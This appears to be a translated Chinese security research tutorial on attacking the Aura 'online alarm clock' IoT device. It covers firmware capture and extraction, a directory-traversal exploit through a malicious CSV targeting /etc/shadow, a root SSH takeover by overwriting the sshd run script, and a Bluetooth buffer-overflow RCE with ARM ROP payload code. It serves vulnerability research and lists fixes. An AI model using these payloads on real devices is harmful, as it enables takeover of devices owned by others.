【译】逆向攻击 “在线闹钟”
字数 1353 2025-08-25 22:58:47
逆向攻击 "在线闹钟"设备教学文档
1. 设备概述
目标设备:Aura "在线闹钟"设备
- 功能:通过调节声音和颜色模式帮助用户睡眠,并在睡眠周期结束时唤醒用户
- 硬件:飞思卡尔(现恩智浦)处理器,嵌入式Linux系统
- 连接方式:WiFi和蓝牙
2. 初步分析
2.1 网络扫描
使用nmap扫描设备:
$ nmap 192.168.12.196
发现22端口(SSH)被过滤但有响应。
2.2 蓝牙服务分析
使用sdptool查看蓝牙服务:
$ sdptool records 00:24:E4:22:95:C3
发现两个RFCOMM服务,分别在通道3和9。
3. 固件获取与分析
3.1 固件抓取方法
通过MITM(中间人攻击)在固件升级时嗅探HTTP流量,发现固件下载请求:
GET /wsd01/wsd01_905.bin HTTP/1.1
3.2 固件格式分析
固件为FPKG格式:
- 文件头以"fpkg"开头
- 包含UBIFS文件系统镜像
使用工具:
$ file wsd01_905.bin
$ hexdump -C wsd01_905.bin | head -n 20
$ binwalk wsd01_905.bin | head
3.3 提取文件系统
使用ubi_reader工具提取UBIFS文件系统:
$ ubireader_extract_files -k 1C.ubi
提取出的文件系统包含标准Linux目录结构。
4. 漏洞发现与利用
4.1 Seqman目录遍历漏洞
漏洞描述:
- seqmand守护进程负责下载音频文件
- 通过篡改aura_seq_list.csv文件可实现目录遍历
利用步骤:
- 重定向HTTP请求到攻击者服务器
- 提供恶意csv文件,如:
#name;is_mandatory;filename;md5;filesize;
WAKEUP_42;1;etc/shadow;326c68d758d21b2a4bb1f5e14931c2b4;720
4.2 获取SSH root访问
利用方法:
- 覆盖/var/service/sshd/run脚本
- 通过/var/service/sshd/supervise/control管道重启服务
恶意run脚本示例:
#!/bin/sh
mount -oremount,rw /
echo "Your shadow comes here" > /etc/shadow
exec dropbear -F &> /dev/null
控制文件操作:
$ echo k > /var/service/sshd/supervise/control
$ echo u > /var/service/sshd/supervise/control
4.3 蓝牙RCE漏洞
漏洞位置:
- cmd_perso命令的参数解析存在缓冲区溢出
- wpp_unpack_perso函数中的memcpy无边界检查
漏洞利用步骤:
- 构建ROP链:
- 使用以下gadget:
- 设置R3:
0x0000e840 pop {r3, lr} - 设置R4:
0x0000e804 pop {r4, pc} - 写内存:
0x0000e800 strb r3, [r4] - 恢复执行:
0x0003cf10 pop {fp, pc}
- 设置R3:
- 分阶段写入:
- 第一阶段:写入shellcode到已知地址
- 第二阶段:调用system()执行shellcode
payload结构:
payload = b"A"*(0x47-4) # Padding
payload += b"\x42" * 4 # Don't care
payload += b"\x40\xe8\x00\x00" # Set R3 gadget
payload += pack("<I", values[0]) # R3 value
payload += b"\x04\xe8\x00\x00" # Set R4 gadget
payload += pack("<I", address) # R4 value
# ... 更多gadget和值
- 执行system():
payload = b"A"*(0x47-4) # padding
payload += pack("<I", fp) # fp value
payload += b"\xd4\x03\x04\x00" # system call gadget
5. 防御措施
已修复的漏洞:
- 目录遍历漏洞
- 蓝牙协议缓冲区溢出漏洞
建议的安全实践:
- 对所有文件路径操作进行严格验证
- 实现蓝牙协议解析的边界检查
- 使用地址空间布局随机化(ASLR)
- 实现堆栈保护机制
6. 工具与资源
使用的主要工具:
- nmap - 网络扫描
- binwalk - 固件分析
- ubi_reader - UBIFS文件系统提取
- Buildroot - 交叉编译gdbserver
- radare2/IDA - 二进制逆向分析
参考资源:
- FPKG文件格式KSY描述
- UBIFS文件系统文档
- runsv/runsvdir手册页
- ARM ROP gadget查找技术
7. 总结
本案例展示了从固件分析到远程代码执行的完整攻击链,涉及:
- 固件提取与逆向
- 目录遍历漏洞利用
- 服务控制机制绕过
- 蓝牙协议缓冲区溢出利用
- ARM ROP技术应用
这些技术可应用于类似IoT设备的漏洞研究和安全评估。